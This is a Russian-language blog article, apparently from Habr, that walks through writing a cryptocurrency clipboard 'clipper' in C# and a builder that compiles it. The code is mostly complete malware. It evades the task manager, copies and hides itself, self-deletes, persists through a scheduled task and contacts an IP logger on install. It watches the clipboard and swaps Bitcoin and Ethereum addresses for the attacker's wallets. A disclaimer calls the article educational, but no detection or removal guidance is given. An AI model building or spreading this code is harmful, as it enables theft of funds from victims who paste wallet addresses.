Pull to refresh

Биткоин клиппер на C#, или как не потерять свои битки

Доброго времени суток!

Клиппер — вредоносная программа, которая мониторит буффер обмена на наличие каких-либо данных, и, в случае их нахождения, заменяет на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.

В сегодняшней статье мы напишем клиппер на языке C#, разберем алгоритм его работы, а также рассмотрим создание билдера малвари.

P.S. Само собой из каждого кода удаленно пару строк, ибо статья предназначена в первую очередь для ознакомления с работой сия чуда и для защиты своего ПК и денежных средств, а не для использования в корыстных целях.

Всем желающим подзаработать данным способом я хочу напомнить, что данная деятельность карается статьей УК РФ №273 (создание, использование и распространение вредоносных программ для ЭВМ) и наказывается лишением свободы на срок до трех лет со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.

Приступим!

Билд


Алгоритм работы клиппера:

  1. Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер.
  2. Запускаем в отдельном потоке мониторинг процессов.
  3. Мониторим буффер обмена.

Функция мониторинга процессов. Данный код завершает наш процесс в случае обнаружения его диспетчером задач:

static void Monitor() {
 while (true) {
  try {
   foreach(Process item in Process.GetProcesses())
   if (item.ProcessName.ToLower() == "taskmgr" ||
    item.ProcessName.ToLower() == "processhacker" ||
    item.ProcessName.ToLower() == "procexp")
    Environment.Exit(0);

   Thread.Sleep(500);
  } catch {}

 }
}


Переходим к Main. Задаем путь к файлу:

string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";
[path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.

Устанавливаем клиппер если он еще не установлен:

if (!File.Exists(path)) {
 File.Copy(Assembly.GetEntryAssembly().Location, path);

 // Самоудаление и добавление в планировщик заданий

 ProcessStartInfo proc = new ProcessStartInfo();
 proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
 proc.WindowStyle = ProcessWindowStyle.Hidden;
 proc.CreateNoWindow = true;
 proc.FileName = "cmd.exe";

 // Ставим аттрибуты “Скрытый” и “Системный” на файл

 File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);

 // Стучим в IPLogger

 try {
  HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
  http.UserAgent = "New user!";
  http.GetResponse();
 } catch {}


 Process.Start(proc);
 Environment.Exit(0);

}

Запустим в новом потоке мониторинг процессов:

Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();\

Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH).

while (true) {
 string idat_old = string.Empty;
 string idat = string.Empty;

 Thread.Sleep(500);

 try {
  if (Clipboard.ContainsText()) {
   idat = Clipboard.GetText();

   if (idat != idat_old) {
    
// Ищем в clipboard адреса и если находим заменяем

    if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet1]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }
    if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet2]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    } else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[ethwallet]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }

    idat_old = idat;
   }
  }
 } catch {}

}

На этом мы заканчиваем работу с клиппером и переходим к созданию билдера.

Билдер


Алгоритм работы билдера:

  1. Получаем указанные в полях кошельки.
  2. Заменяем их в исходнике клиппера.
  3. Компилируем исходник.

Создаем проект WindowsForms. По-быстрому набросаем форму:

image

Переходим к коду. Добавим пару юзингов:

using Microsoft.CSharp;
using System.CodeDom.Compiler;

В обработчике кнопки пишем:

CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";

Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");

string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);

var settings = new Dictionary < string,
 string > ();
settings.Add("CompilerVersion", "v4.0");

CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {

 foreach(CompilerError err in Results.Errors)
 MessageBox.Show(err.ToString()); //Вывод ошибок
}

MessageBox.Show("Done!", "Success");

Добавляем в ресурсы билдера сурс клиппера:

image

Компилируем билдер и на этом наш клиппер готов. Данная разработка способна подменять кошельки любых типов, а так же способна интегрироваться в любые виды стиллеров, чем и опасна. В зависимости проявленного интереса вами к этой статье, мною будет написана статья о том как диагностировать на своем ПК данную угрозу, и надежно от неё избавиться. Всем удачи, и будьте внимательны!
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.